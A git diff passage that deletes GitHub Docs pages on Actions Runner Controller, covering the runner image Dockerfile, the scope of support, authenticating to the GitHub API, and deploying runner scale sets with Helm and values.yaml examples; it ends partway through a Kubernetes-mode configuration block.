-# ex: 0.3.1
-ARG RUNNER_CONTAINER_HOOKS_VERSION=""
-
-ENV DEBIAN_FRONTEND=noninteractive
-ENV RUNNER_MANUALLY_TRAP_SIG=1
-ENV ACTIONS_RUNNER_PRINT_LOG_TO_STDOUT=1
-
-RUN apt update -y && apt install curl unzip -y
-
-RUN adduser --disabled-password --gecos "" --uid 1001 runner \
- && groupadd docker --gid 123 \
- && usermod -aG sudo runner \
- && usermod -aG docker runner \
- && echo "%sudo ALL=(ALL:ALL) NOPASSWD:ALL" > /etc/sudoers \
- && echo "Defaults env_keep += \"DEBIAN_FRONTEND\"" >> /etc/sudoers
-
-WORKDIR /home/runner
-
-RUN curl -f -L -o runner.tar.gz https://github.com/actions/runner/releases/download/v${RUNNER_VERSION}/actions-runner-linux-${RUNNER_ARCH}-${RUNNER_VERSION}.tar.gz \
- && tar xzf ./runner.tar.gz \
- && rm runner.tar.gz
-
-RUN curl -f -L -o runner-container-hooks.zip https://github.com/actions/runner-container-hooks/releases/download/v${RUNNER_CONTAINER_HOOKS_VERSION}/actions-runner-hooks-k8s-${RUNNER_CONTAINER_HOOKS_VERSION}.zip \
- && unzip ./runner-container-hooks.zip -d ./k8s \
- && rm runner-container-hooks.zip
-
-USER runner
-```
-
-## Executing workflows
-
-After installation and configuration are complete, you can use ARC to execute workflow runs. A workflow can be created in the same repository that can target a self hosted runner created by ARC. For more information about targeting workflows to run on self-hosted runners, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/using-self-hosted-runners-in-a-workflow).
-
-### Using ARC runners in a workflow
-
-{% data reusables.actions.actions-runner-controller-labels %} For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/using-actions-runner-controller-runners-in-a-workflow).
-
-## Scaling runners
-
-You can scale runners statically or dynamically depending on your needs. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/deploying-runner-scale-sets-with-actions-runner-controller#scaling-runners).
-
-## Software installed in the ARC runner image
-
-The ARC [runner image](https://github.com/actions/runner/pkgs/container/actions-runner) is bundled with the following software:
-
-* [Runner binaries](https://github.com/actions/runner)
-* [Runner container hooks](https://github.com/actions/runner-container-hooks)
-* Docker (required for Docker-in-Docker mode)
-
-For more information, see [ARC's runner image Dockerfile](https://github.com/actions/runner/blob/main/images/Dockerfile) in the Actions repository.
-
-## Assets and releases
-
-ARC is released as two Helm charts and one container image. The Helm charts are only published as Open Container Initiative (OCI) packages. ARC does not provide tarballs or Helm repositories via {% data variables.product.prodname_pages %}.
-
-You can find the latest releases of ARC's Helm charts and container image on {% data variables.product.prodname_registry %}:
-
-* [`gha-runner-scale-set-controller` Helm chart](https://github.com/actions/actions-runner-controller/pkgs/container/actions-runner-controller-charts%2Fgha-runner-scale-set-controller)
-* [`gha-runner-scale-set` Helm chart](https://github.com/actions/actions-runner-controller/pkgs/container/actions-runner-controller-charts%2Fgha-runner-scale-set)
-* [`gha-runner-scale-set-controller` container image](https://github.com/actions/actions-runner-controller/pkgs/container/gha-runner-scale-set-controller)
-
-The supported runner image is released as a separate container image, which you can find at [`actions-runner`](https://github.com/actions/runner/pkgs/container/actions-runner) on {% data variables.product.prodname_registry %}.
-
-## Legal notice
-
-{% data reusables.actions.actions-runner-controller-legal-notice %}
diff --git a/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/about-support-for-actions-runner-controller.md b/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/about-support-for-actions-runner-controller.md
deleted file mode 100644
index 2214e471aae9..000000000000
--- a/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/about-support-for-actions-runner-controller.md
+++ /dev/null
@@ -1,52 +0,0 @@
----
-title: About support for Actions Runner Controller
-intro: 'What to know before you [contact {% data variables.contact.github_support %}](support/contacting-github-support) for assistance with Actions Runner Controller.'
-shortTitle: About Support for ARC
-versions:
- fpt: '*'
- ghec: '*'
- ghes: '*'
-topics:
- - Actions Runner Controller
- - Support
----
-
-You can [contact {% data variables.contact.github_support %}](/support/contacting-github-support) for assistance with Actions Runner Controller.
-
-## About support for Actions Runner Controller Versions
-
-The Actions Runner Controller (ARC) project [was adopted by GitHub](https://github.com/actions/actions-runner-controller/discussions/2072) to release as a new GitHub product. As a result, there are currently two ARC releases: the legacy community-maintained ARC and GitHub's Autoscaling Runner Sets.
-
-GitHub only supports the latest Autoscaling Runner Sets version of ARC. Support for the legacy ARC is provided by the community in the [Actions Runner Controller](https://github.com/actions/actions-runner-controller) repository only.
-
-## Scope of support for Actions Runner Controller
-
-If your support request is outside of the scope of what our team can help you with, we may recommend next steps to resolve your issue outside of {% data variables.contact.github_support %}. Your support request is possibly out of {% data variables.contact.github_support %}'s scope if the request is primarily about:
-
-* The legacy community-maintained version of ARC
-* Installing, configuring, or maintaining dependencies
-* Template spec customization
-* Container orchestration, such as Kubernetes setup, networking, building images in ARC (DinD), etc.
-* Applying Kubernetes policies
-* Managed Kubernetes providers or provider-specific configurations
-* [Runner Container Hooks](https://github.com/actions/runner-container-hooks) in conjunction with ARC's `kubernetes` mode
-* Installation tooling other than Helm
-* Storage provisioners and PersistentVolumeClaims (PVCs)
-* Best practices, such as configuring metrics servers, image caching, etc.
-
-While ARC may be deployed successfully with different tooling and configurations, your support request is possibly out of {% data variables.contact.github_support %}'s scope if ARC has been deployed with:
-
-* Installation tooling other than Helm
-* Service account and/or template spec customization
-
-If you're uncertain if the issue is out of scope, open a ticket and we're happy to help you determine the best way to proceed.
-
-For more information about contacting {% data variables.contact.github_support %}, see [AUTOTITLE](/support/contacting-github-support).
-
-> [!NOTE]
-> * OpenShift clusters are currently unsupported.
-> * ARC is only supported on GitHub Enterprise Server versions 3.9 and greater.
-
-## Working with {% data variables.contact.github_support %} for Actions Runner Controller
-
-{% data variables.contact.github_support %} may ask questions about your Actions Runner Controller deployment and request that you collect and attach the [controller, listener](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/troubleshooting-actions-runner-controller-errors#checking-the-logs-of-the-controller-and-runner-set-listener), and runner logs to the support ticket.
diff --git a/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/authenticating-to-the-github-api.md b/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/authenticating-to-the-github-api.md
deleted file mode 100644
index a7d3b9fc2572..000000000000
--- a/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/authenticating-to-the-github-api.md
+++ /dev/null
@@ -1,90 +0,0 @@
----
-title: Authenticating to the GitHub API
-shortTitle: Authenticating
-intro: 'Learn how to authenticate to the {% data variables.product.company_short %} API to use {% data variables.product.prodname_actions_runner_controller %} with {% data variables.product.github %}.'
-versions:
- fpt: '*'
- ghec: '*'
- ghes: '*'
-type: overview
-topics:
- - Actions Runner Controller
-defaultPlatform: linux
----
-
-[Legal notice](#legal-notice)
-
-## Overview
-
-You can authenticate {% data variables.product.prodname_actions_runner_controller %} (ARC) to the {% data variables.product.prodname_dotcom %} API by using a {% data variables.product.prodname_github_app %} or by using a {% data variables.product.pat_v1 %}.
-
-> [!NOTE]
-> You cannot authenticate using a {% data variables.product.prodname_github_app %} for runners at the enterprise level. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/managing-access-to-self-hosted-runners-using-groups#about-runner-groups).
-
-## Authenticating ARC with a {% data variables.product.prodname_github_app %}
-
-1. Create a {% data variables.product.prodname_github_app %} that is owned by an organization. For more information, see [AUTOTITLE](/apps/creating-github-apps/creating-github-apps/creating-a-github-app). Configure the {% data variables.product.prodname_github_app %} as follows.
-
- 1. For "Homepage URL," enter `https://github.com/actions/actions-runner-controller`.
-
- 1. Under "Permissions," click **Repository permissions**. Then use the dropdown menus to select the following access permissions.
- * **Administration:** Read and write
-
- > [!NOTE]
- > `Administration: Read and write` is only required when configuring {% data variables.product.prodname_actions_runner_controller %} to register at the repository scope. It is not required to register at the organization scope.
-
- * **Metadata:** Read-only
-
- 1. Under "Permissions," click **Organization permissions**. Then use the dropdown menus to select the following access permissions.
- * **Self-hosted runners:** Read and write
-
-{% data reusables.actions.arc-app-post-install-steps %}
-
-1. In the menu at the top-left corner of the page, click **Install app**, and next to your organization, click **Install** to install the app on your organization.
-
-1. After confirming the installation permissions on your organization, note the app installation ID. You will use it later. You can find the app installation ID on the app installation page, which has the following URL format:
-
- `https://{% data variables.product.product_url %}/organizations/ORGANIZATION/settings/installations/INSTALLATION_ID`
-
-{% data reusables.actions.arc-app-post-install-set-secrets %}
-
-## Authenticating ARC with a {% data variables.product.pat_v1 %}
-
-ARC can use {% data variables.product.pat_v1_plural %} to register self-hosted runners.
-
-{% ifversion ghec or ghes %}
-
-> [!NOTE]
-> Authenticating ARC with a {% data variables.product.pat_v1 %} is the only supported authentication method to register runners at the enterprise level.
-
-{% endif %}
-
-1. Create a {% data variables.product.pat_v1 %} with the required scopes. The required scopes are different depending on whether you are registering runners at the repository{% ifversion ghec or ghes %}, organization, or enterprise{% else %} or organization{% endif %} level. For more information on how to create a {% data variables.product.pat_v1 %}, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token#creating-a-personal-access-token-classic).
-
- The following is the list of required {% data variables.product.pat_generic %} scopes for ARC runners.
- * Repository runners: `repo`
- * Organization runners: `admin:org`
- {% ifversion ghec or ghes %}
- * Enterprise runners: `manage_runners:enterprise`
- {% endif %}
-1. To create a Kubernetes secret with the value of your {% data variables.product.pat_v1 %}, use the following command.
-
- {% data reusables.actions.arc-runners-namespace %}
-
- ```bash copy
- kubectl create secret generic pre-defined-secret \
- --namespace=arc-runners \
- --from-literal=github_token='YOUR-PAT'
- ```
-
-1. In your copy of the [`values.yaml`](https://github.com/actions/actions-runner-controller/blob/master/charts/gha-runner-scale-set/values.yaml) file, pass the secret name as a reference.
-
- ```yaml
- githubConfigSecret: pre-defined-secret
- ```
-
- {% data reusables.actions.actions-runner-controller-helm-chart-options %}
-
-## Legal notice
-
-{% data reusables.actions.actions-runner-controller-legal-notice %}
diff --git a/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/deploying-runner-scale-sets-with-actions-runner-controller.md b/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/deploying-runner-scale-sets-with-actions-runner-controller.md
deleted file mode 100644
index f3ad244ac31f..000000000000
--- a/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/deploying-runner-scale-sets-with-actions-runner-controller.md
+++ /dev/null
@@ -1,968 +0,0 @@
----
-title: Deploying runner scale sets with Actions Runner Controller
-shortTitle: Deploying runner scale sets
-intro: 'Learn how to deploy runner scale sets with {% data variables.product.prodname_actions_runner_controller %}, and use advanced configuration options to tailor {% data variables.product.prodname_actions_runner_controller %} to your needs.'
-versions:
- fpt: '*'
- ghec: '*'
- ghes: '*'
-type: overview
-topics:
- - Actions Runner Controller
-defaultPlatform: linux
----
-
-[Legal notice](#legal-notice)
-
-## About runner scale sets
-
-Runner scale sets is a group of homogeneous runners that can be assigned jobs from {% data variables.product.prodname_actions %}. The number of active runners owned by a runner scale set can be controlled by auto-scaling runner solutions such as {% data variables.product.prodname_actions_runner_controller %} (ARC).
-
-You can use runner groups to manage runner scale sets. Similar to self-hosted runners, you can add runner scale sets to existing runner groups. However, runner scale sets can belong to only one runner group at a time and can only have one label assigned to them. For more information on runner groups, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/managing-access-to-self-hosted-runners-using-groups).
-
-To assign jobs to a runner scale set, you must configure your workflow to reference the runner scale set's name. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/using-actions-runner-controller-runners-in-a-workflow).
-
-## Deploying a runner scale set
-
-To deploy a runner scale set, you must have ARC up and running. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/quickstart-for-actions-runner-controller).
-
-You can deploy runner scale sets with ARC's Helm charts or by deploying the necessary manifests. Using ARC's Helm charts is the preferred method, especially if you do not have prior experience using ARC.
-
-> [!NOTE]
-> * {% data reusables.actions.actions-runner-controller-security-practices-namespace %}
-> * {% data reusables.actions.actions-runner-controller-security-practices-secret %}
-> * We recommend running production workloads in isolation. {% data variables.product.prodname_actions %} workflows are designed to run arbitrary code, and using a shared Kubernetes cluster for production workloads could pose a security risk.
-> * Ensure you have implemented a way to collect and retain logs from the controller, listeners, and ephemeral runners.
-
-1. To configure your runner scale set, run the following command in your terminal, using values from your ARC configuration.
-
- When you run the command, keep the following in mind.
-
- * Update the `INSTALLATION_NAME` value carefully. You will use the installation name as the value of [`runs-on`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idruns-on) in your workflows.
- * Update the `NAMESPACE` value to the location you want the runner pods to be created.
- * Set the `GITHUB_CONFIG_URL` value to the URL of your repository, organization, or enterprise. This is the entity that the runners will belong to.
- * This example command installs the latest version of the Helm chart. To install a specific version, you can pass the `--version` argument with the version of the chart you want to install. You can find the list of releases in the [`actions-runner-controller`](https://github.com/actions/actions-runner-controller/pkgs/container/actions-runner-controller-charts%2Fgha-runner-scale-set) repository.
- {% ifversion not ghes %}
-
- ```bash copy
- INSTALLATION_NAME="arc-runner-set"
- NAMESPACE="arc-runners"
- GITHUB_CONFIG_URL="https://github.com/"
- GITHUB_PAT=""
- helm install "{% raw %}${INSTALLATION_NAME}{% endraw %}" \
- --namespace "{% raw %}${NAMESPACE}{% endraw %}" \
- --create-namespace \
- --set githubConfigUrl="{% raw %}${GITHUB_CONFIG_URL}{% endraw %}" \
- --set githubConfigSecret.github_token="{% raw %}${GITHUB_PAT}{% endraw %}" \
- oci://ghcr.io/actions/actions-runner-controller-charts/gha-runner-scale-set
- ```
-
- {% endif %}
- {% ifversion ghes %}
-
- ```bash copy
- INSTALLATION_NAME="arc-runner-set"
- NAMESPACE="arc-runners"
- GITHUB_CONFIG_URL="http(s):///<'enterprises/your_enterprise'/'org'/'org/repo'>"
- GITHUB_PAT=""
- helm install "{% raw %}${INSTALLATION_NAME}{% endraw %}" \
- --namespace "{% raw %}${NAMESPACE}{% endraw %}" \
- --create-namespace \
- --set githubConfigUrl="{% raw %}${GITHUB_CONFIG_URL}{% endraw %}" \
- --set githubConfigSecret.github_token="{% raw %}${GITHUB_PAT}{% endraw %}" \
- oci://ghcr.io/actions/actions-runner-controller-charts/gha-runner-scale-set
- ```
-
- {% endif %}
-
- {% data reusables.actions.actions-runner-controller-helm-chart-options %}
-
-1. To check your installation, run the following command in your terminal.
-
- ```bash copy
- helm list -A
- ```
-
- You should see an output similar to the following.
-
- ```bash
- NAME NAMESPACE REVISION UPDATED STATUS CHART APP VERSION
- arc arc-systems 1 2023-04-12 11:45:59.152090536 +0000 UTC deployed gha-runner-scale-set-controller-0.4.0 0.4.0
- arc-runner-set arc-systems 1 2023-04-12 11:46:13.451041354 +0000 UTC deployed gha-runner-scale-set-0.4.0 0.4.0
- ```
-
-1. To check the manager pod, run the following command in your terminal.
-
- ```bash copy
- kubectl get pods -n arc-systems
- ```
-
- If the installation was successful, the pods will show the `Running` status.
-
- ```bash
- NAME READY STATUS RESTARTS AGE
- arc-gha-runner-scale-set-controller-594cdc976f-m7cjs 1/1 Running 0 64s
- arc-runner-set-754b578d-listener 1/1 Running 0 12s
- ```
-
-If your installation was not successful, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/troubleshooting-actions-runner-controller-errors) for troubleshooting information.
-
-## Using advanced configuration options
-
-ARC offers several advanced configuration options.
-
-### Configuring the runner scale set name
-
-> [!NOTE]
-> Runner scale set names are unique within the runner group they belong to. If you want to deploy multiple runner scale sets with the same name, they must belong to different runner groups.
-
-To configure the runner scale set name, you can define an `INSTALLATION_NAME` or set the value of `runnerScaleSetName` in your copy of the [`values.yaml`](https://github.com/actions/actions-runner-controller/blob/master/charts/gha-runner-scale-set/values.yaml) file.
-
-```yaml
-## The name of the runner scale set to create, which defaults to the Helm release name
-runnerScaleSetName: "my-runners"
-```
-
-Make sure to pass the `values.yaml` file in your `helm install` command. See the [Helm Install](https://helm.sh/docs/helm/helm_install/) documentation for more details.
-
-### Choosing runner destinations
-
-Runner scale sets can be deployed at the repository, organization, or enterprise levels.
-
-{% ifversion ghec or ghes %}
-
-> [!NOTE]
-> You can only deploy runner scale sets at the enterprise level when using {% data variables.product.pat_v1 %} authentication.
-
-{% endif %}
-
-To deploy runner scale sets to a specific level, set the value of `githubConfigUrl` in your copy of the `values.yaml` to the URL of your repository, organization, or enterprise.
-
-The following example shows how to configure ARC to add runners to `octo-org/octo-repo`.
-
-{% ifversion not ghes %}
-
-```yaml
-githubConfigUrl: "https://github.com/octo-ent/octo-org/octo-repo"
-```
-
-{% endif %}
-{% ifversion ghes %}
-
-```yaml
-githubConfigUrl: "http(s):///<'enterprises/your_enterprise'/'org'/'org/repo'>"
-```
-
-{% endif %}
-
-{% data reusables.actions.actions-runner-controller-helm-chart-options %}
-
-### Using a {% data variables.product.prodname_github_app %} for authentication
-
-If you are not using enterprise-level runners, you can use {% data variables.product.prodname_github_apps %} to authenticate with the {% data variables.product.company_short %} API. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/authenticating-to-the-github-api).
-
-> [!NOTE]
-> Given the security risk associated with exposing your private key in plain text in a file on disk, we recommend creating a Kubernetes secret and passing the reference instead.
-
-You can either create a Kubernetes secret, or specify values in your [`values.yaml`](https://github.com/actions/actions-runner-controller/blob/master/charts/gha-runner-scale-set/values.yaml) file.
-
-#### Option 1: Create a Kubernetes secret (recommended)
-
-Once you have created your {% data variables.product.prodname_github_app %}, create a Kubernetes secret and pass the reference to that secret in your copy of the [`values.yaml`](https://github.com/actions/actions-runner-controller/blob/master/charts/gha-runner-scale-set/values.yaml) file.
-
-{% data reusables.actions.arc-runners-namespace %}
-
-```bash
-kubectl create secret generic pre-defined-secret \
- --namespace=arc-runners \
- --from-literal=github_app_id=123456 \
- --from-literal=github_app_installation_id=654321 \
- --from-file=github_app_private_key=private-key.pem
-```
-
-In your copy of the [`values.yaml`](https://github.com/actions/actions-runner-controller/blob/master/charts/gha-runner-scale-set/values.yaml) pass the secret name as a reference.
-
-```yaml
-githubConfigSecret: pre-defined-secret
-```
-
-#### Option 2: Specify values in your `values.yaml` file
-
-Alternatively, you can specify the values of `app_id`, `installation_id` and `private_key` in your copy of the [`values.yaml`](https://github.com/actions/actions-runner-controller/blob/master/charts/gha-runner-scale-set/values.yaml) file.
-
-```yaml
-## githubConfigSecret is the Kubernetes secret to use when authenticating with GitHub API.
-## You can choose to use a GitHub App or a {% data variables.product.pat_v1 %}
-githubConfigSecret:
- ## GitHub Apps Configuration
- ## IDs must be strings, use quotes
- github_app_id: "123456"
- github_app_installation_id: "654321"
- github_app_private_key: |
- -----BEGIN RSA PRIVATE KEY-----
- ...
- HkVN9...
- ...
- -----END RSA PRIVATE KEY-----
-```
-
-{% data reusables.actions.actions-runner-controller-helm-chart-options %}
-
-### Managing access with runner groups
-
-You can use runner groups to control which organizations or repositories have access to your runner scale sets. For more information on runner groups, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/managing-access-to-self-hosted-runners-using-groups).
-
-To add a runner scale set to a runner group, you must already have a runner group created. Then set the `runnerGroup` property in your copy of the `values.yaml` file. The following example adds a runner scale set to the Octo-Group runner group.
-
-```yaml
-runnerGroup: "Octo-Group"
-```
-
-{% data reusables.actions.actions-runner-controller-helm-chart-options %}
-
-### Configuring an outbound proxy
-
-To force HTTP traffic for the controller and runners to go through your outbound proxy, set the following properties in your Helm chart.
-
-```yaml
-proxy:
- http:
- url: http://proxy.com:1234
- credentialSecretRef: proxy-auth # a Kubernetes secret with `username` and `password` keys
- https:
- url: http://proxy.com:1234
- credentialSecretRef: proxy-auth # a Kubernetes secret with `username` and `password` keys
- noProxy:
- - example.com
- - example.org
-```
-
-ARC supports using anonymous or authenticated proxies. If you use authenticated proxies, you will need to set the `credentialSecretRef` value to reference a Kubernetes secret. You can create a secret with your proxy credentials with the following command.
-
-{% data reusables.actions.arc-runners-namespace %}
-
-```bash copy
- kubectl create secret generic proxy-auth \
- --namespace=arc-runners \
- --from-literal=username=proxyUsername \
- --from-literal=password=proxyPassword \
-```
-
-{% data reusables.actions.actions-runner-controller-helm-chart-options %}
-
-### Setting the maximum and minimum number of runners
-
-The `maxRunners` and `minRunners` properties provide you with a range of options to customize your ARC setup.
-
-> [!NOTE]
-> ARC does not support scheduled maximum and minimum configurations. You can use a cronjob or any other scheduling solution to update the configuration on a schedule.
-
-#### Example: Unbounded number of runners
-
-If you comment out both the `maxRunners` and `minRunners` properties, ARC will scale up to the number of jobs assigned to the runner scale set and will scale down to 0 if there aren't any active jobs.
-
-```yaml
-## maxRunners is the max number of runners the auto scaling runner set will scale up to.
-# maxRunners: 0
-
-## minRunners is the min number of idle runners. The target number of runners created will be
-## calculated as a sum of minRunners and the number of jobs assigned to the scale set.
-# minRunners: 0
-```
-
-#### Example: Minimum number of runners
-
-You can set the `minRunners` property to any number and ARC will make sure there is always the specified number of runners active and available to take jobs assigned to the runner scale set at all times.
-
-```yaml
-## maxRunners is the max number of runners the auto scaling runner set will scale up to.
-# maxRunners: 0
-
-## minRunners is the min number of idle runners. The target number of runners created will be
-## calculated as a sum of minRunners and the number of jobs assigned to the scale set.
-minRunners: 20
-```
-
-#### Example: Set maximum and minimum number of runners
-
-In this configuration, {% data variables.product.prodname_actions_runner_controller %} will scale up to a maximum of `30` runners and will scale down to `20` runners when the jobs are complete.
-
-> [!NOTE]
-> The value of `minRunners` can never exceed that of `maxRunners`, unless `maxRunners` is commented out.
-
-```yaml
-## maxRunners is the max number of runners the auto scaling runner set will scale up to.
-maxRunners: 30
-
-## minRunners is the min number of idle runners. The target number of runners created will be
-## calculated as a sum of minRunners and the number of jobs assigned to the scale set.
-minRunners: 20
-```
-
-#### Example: Jobs queue draining
-
-In certain scenarios you might want to drain the jobs queue to troubleshoot a problem or to perform maintenance on your cluster. If you set both properties to `0`, {% data variables.product.prodname_actions_runner_controller %} will not create new runner pods when new jobs are available and assigned.
-
-```yaml
-## maxRunners is the max number of runners the auto scaling runner set will scale up to.
-maxRunners: 0
-
-## minRunners is the min number of idle runners. The target number of runners created will be
-## calculated as a sum of minRunners and the number of jobs assigned to the scale set.
-minRunners: 0
-```
-
-### Custom TLS certificates
-
-> [!NOTE]
-> If you are using a custom runner image that is not based on the `Debian` distribution, the following instructions will not work.
-
-Some environments require TLS certificates that are signed by a custom certificate authority (CA). Since the custom certificate authority certificates are not bundled with the controller or runner containers, you must inject them into their respective trust stores.
-
-```yaml
-githubServerTLS:
- certificateFrom:
- configMapKeyRef:
- name: config-map-name
- key: ca.crt
- runnerMountPath: /usr/local/share/ca-certificates/
-```
-
-When you do this, ensure you are using the Privacy Enhanced Mail (PEM) format and that the extension of your certificate is `.crt`. Anything else will be ignored.
-
-The controller executes the following actions.
-
-* Creates a `github-server-tls-cert` volume containing the certificate specified in `certificateFrom`.
-* Mounts that volume on path `runnerMountPath/`.
-* Sets the `NODE_EXTRA_CA_CERTS` environment variable to that same path.
-* Sets the `RUNNER_UPDATE_CA_CERTS` environment variable to `1` (as of version `2.303.0`, this will instruct the runner to reload certificates on the host).
-
-ARC observes values set in the runner pod template and does not overwrite them.
-
-{% data reusables.actions.actions-runner-controller-helm-chart-options %}
-
-### Using a private container registry
-
-{% data reusables.actions.actions-runner-controller-unsupported-customization %}
-
-To use a private container registry, you can copy the controller image and runner image to your private container registry. Then configure the links to those images and set the `imagePullPolicy` and `imagePullSecrets` values.
-
-#### Configuring the controller image
-
-You can update your copy of the [`values.yaml`](https://github.com/actions/actions-runner-controller/blob/master/charts/gha-runner-scale-set-controller/values.yaml) file and set the `image` properties as follows.
-
-```yaml
-image:
- repository: "custom-registry.io/gha-runner-scale-set-controller"
- pullPolicy: IfNotPresent
- # Overrides the image tag whose default is the chart appVersion.
- tag: "0.4.0"
-
-imagePullSecrets:
- - name:
-```
-
-The listener container inherits the `imagePullPolicy` defined for the controller.
-
-#### Configuring the runner image
-
-You can update your copy of the [`values.yaml`](https://github.com/actions/actions-runner-controller/blob/master/charts/gha-runner-scale-set/values.yaml) file and set the `template.spec` properties as follows.
-
-```yaml
-template:
- spec:
- containers:
- - name: runner
- image: "custom-registry.io/actions-runner:latest"
- imagePullPolicy: Always
- command: ["/home/runner/run.sh"]
- imagePullSecrets:
- - name:
-```
-
-{% data reusables.actions.actions-runner-controller-helm-chart-options %}
-
-### Updating the pod specification for the runner pod
-
-{% data reusables.actions.actions-runner-controller-unsupported-customization %}
-
-You can fully customize the PodSpec of the runner pod and the controller will apply the configuration you specify. The following is an example pod specification.
-
-```yaml
-template:
- spec:
- containers:
- - name: runner
- image: ghcr.io/actions/actions-runner:latest
- command: ["/home/runner/run.sh"]
- resources:
- limits:
- cpu: 500m
- memory: 512Mi
- securityContext:
- readOnlyRootFilesystem: true
- allowPrivilegeEscalation: false
- capabilities:
- add:
- - NET_ADMIN
-```
-
-{% data reusables.actions.actions-runner-controller-helm-chart-options %}
-
-### Updating the pod specification for the listener pod
-
-{% data reusables.actions.actions-runner-controller-unsupported-customization %}
-
-You can customize the PodSpec of the listener pod and the controller will apply the configuration you specify. The following is an example pod specification.
-
-> [!NOTE]
-> It's important to not change the `listenerTemplate.spec.containers.name` value of the listener container. Otherwise, the configuration you specify will be applied to a new side-car container.
-
-```yaml
-listenerTemplate:
- spec:
- containers:
- # If you change the name of the container, the configuration will not be applied to the listener,
- # and it will be treated as a side-car container.
- - name: listener
- securityContext:
- runAsUser: 1000
- resources:
- limits:
- cpu: "1"
- memory: 1Gi
- requests:
- cpu: "1"
- memory: 1Gi
-```
-
-{% data reusables.actions.actions-runner-controller-helm-chart-options %}
-
-## Using Docker-in-Docker or Kubernetes mode for containers
-
-{% data reusables.actions.actions-runner-controller-unsupported-customization %}
-
-If you are using container jobs and services or container actions, the `containerMode` value must be set to `dind` or `kubernetes`.
-
-* For more information on container jobs and services, see [AUTOTITLE](/actions/using-jobs/running-jobs-in-a-container).
-* For more information on container actions, see [AUTOTITLE](/actions/creating-actions/creating-a-docker-container-action).
-
-### Using Docker-in-Docker mode
-
-> [!NOTE]
-> The Docker-in-Docker container requires privileged mode. For more information, see [Configure a Security Context for a Pod or Container](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) in the Kubernetes documentation.
->
-> By default, the `dind` container uses the `docker:dind` image, which runs the Docker daemon as root. You can replace this image with `docker:dind-rootless` as long as you are aware of the [known limitations](https://docs.docker.com/engine/security/rootless/#known-limitations) and run the pods with `--privileged` mode. To learn how to customize the Docker-in-Docker configuration, see [Customizing container modes](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/deploying-runner-scale-sets-with-actions-runner-controller#customizing-container-modes).
-
-Docker-in-Docker mode is a configuration that allows you to run Docker inside a Docker container. In this configuration, for each runner pod created, ARC creates the following containers.
-
-* An `init` container
-* A `runner` container
-* A `dind` container
-
-To enable Docker-in-Docker mode, set the `containerMode.type` to `dind` as follows.
-
-```yaml
-containerMode:
- type: "dind"
-```
-
-The `template.spec` will be updated to the following default configuration.
-
-```yaml
-template:
- spec:
- initContainers:
- - name: init-dind-externals
- image: ghcr.io/actions/actions-runner:latest
- command:
- ["cp", "-r", "/home/runner/externals/.", "/home/runner/tmpDir/"]
- volumeMounts:
- - name: dind-externals
- mountPath: /home/runner/tmpDir
- containers:
- - name: runner
- image: ghcr.io/actions/actions-runner:latest
- command: ["/home/runner/run.sh"]
- env:
- - name: DOCKER_HOST
- value: unix:///var/run/docker.sock
- volumeMounts:
- - name: work
- mountPath: /home/runner/_work
- - name: dind-sock
- mountPath: /var/run
- - name: dind
- image: docker:dind
- args:
- - dockerd
- - --host=unix:///var/run/docker.sock
- - --group=$(DOCKER_GROUP_GID)
- env:
- - name: DOCKER_GROUP_GID
- value: "123"
- securityContext:
- privileged: true
- volumeMounts:
- - name: work
- mountPath: /home/runner/_work
- - name: dind-sock
- mountPath: /var/run
- - name: dind-externals
- mountPath: /home/runner/externals
- volumes:
- - name: work
- emptyDir: {}
- - name: dind-sock
- emptyDir: {}
- - name: dind-externals
- emptyDir: {}
-```
-
-The values in `template.spec` are automatically injected and cannot be overridden. If you want to customize this setup, you must unset `containerMode.type`, then copy this configuration and apply it directly in your copy of the [`values.yaml`](https://github.com/actions/actions-runner-controller/blob/master/charts/gha-runner-scale-set/values.yaml) file.
-
-{% data reusables.actions.actions-runner-controller-helm-chart-options %}
-
-### Using Kubernetes mode
-
-In Kubernetes mode, ARC uses runner container hooks to create a new pod in the same namespace to run the service, container job, or action.
-
-#### Prerequisites
-
-Kubernetes mode relies on persistent volumes to share job details between the runner pod and the container job pod. For more information, see the [Persistent Volumes](https://kubernetes.io/docs/concepts/storage/persistent-volumes/) section in the Kubernetes documentation.
-
-To use Kubernetes mode, you must do the following.
-
-* Create persistent volumes available for the runner pods to claim.
-* Use a solution to automatically provision persistent volumes on demand.
-
-For testing, you can use a solution like [OpenEBS](https://github.com/openebs/openebs).
-
-#### Configuring Kubernetes mode
-
-To enable Kubernetes mode, set the `containerMode.type` to `kubernetes` in your [`values.yaml`](https://github.com/actions/actions-runner-controller/blob/master/charts/gha-runner-scale-set/values.yaml) file.
-
-```yaml
-containerMode:
- type: "kubernetes"
- kubernetesModeWorkVolumeClaim:
- accessModes: ["ReadWriteOnce"]
- storageClassName: "dynamic-blob-storage"
- resources:
- requests:
- storage: 1Gi
